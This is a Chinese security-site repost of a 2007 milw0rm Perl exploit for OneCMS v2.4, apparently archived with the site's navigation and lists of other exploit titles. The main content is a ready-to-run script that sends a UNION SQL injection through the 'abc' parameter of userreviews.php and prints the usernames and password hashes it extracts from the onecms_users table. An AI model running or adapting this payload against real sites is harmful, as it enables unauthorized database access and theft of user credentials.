首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OneCMS 2.4 (userreviews.php abc) Remote SQL Injection Exploit
来源:str0ke[!]milw0rm.com 作者:str0ke 发布时间:2007-09-20  
#!/usr/bin/perl
#
# OneCMS v2.4 Remote SQL Injection Exploit
#
# Description
# -----------
# OneCMS contains a flaw that allows an attacker to carry out an SQL
# injection attack. The issue is due to the userreviews.php script not
# properly sanitizing user-supplied input to the 'abc' variable. This may
# allow an attacker to inject or manipulate SQL queries in the backend
# database if magic_quotes_gpc = off.
# -----------
# $Id: milw0rm_onecms.pl,v 0.1 2007/09/19 15:02:12 str0ke Exp $

use strict;
use LWP::UserAgent;

my $target = shift || &usage();
my $proxy = shift;

&exploit($target);

sub usage
{
print "[?] OneCMS v2.4 Remote SQL Injection Exploit\n";
print "[?] str0ke <str0ke[!]milw0rm.com>\n";
print "[?] usage: perl $0 [target]\n";
print "    [target] (ex. http://127.0.0.1/OneCMS)\n";
print "    [proxy] (ex. 0.0.0.0:8080)\n";
exit;
}

sub exploit
{
my($target) = @_;

my $conn = LWP::UserAgent->new() or die;
$conn->agent("Mozilla/4.0 (compatible; Lotus-Notes/5.0; Windows-NT)");
$conn->proxy("http", "http://".$proxy."/") unless !$proxy;

my $out=$conn->get($target."/userreviews.php?abc=-1'%20union%20select%200,concat(0x3a,0x3a,0x3a,username,0x3a,password,0x3a,0x3a,0x3a)username,0,password,0,0,0,0,0%20from%20onecms_users/*");

if ($out->content =~ m/:::(.*?):::/ms) {
print $1 . "\n";
} else {
print "Exploit Failed\n";
}
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Sun jre1.6.0_X isInstalled.dns
·Flip <= 3.0 Remoe Admin Creati
·Microsoft Visual Basic Enterpr
·Flip <= 3.0 Remote Password Ha
·>Mercury/32 4.52 IMAPD SEARCH
·IMail iaspam.dll 8.0x Remote H
·Yahoo! Messenger 8.1.0.421 CYF
·Lighttpd <= 1.4.17 FastCGI Hea
·jetAudio 7.x ActiveX DownloadF
·EasyMail MessagePrinter Object
·Airsensor M520 HTTPD Remote Pr
·Xitami Web Server 2.5 (If-Modi
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved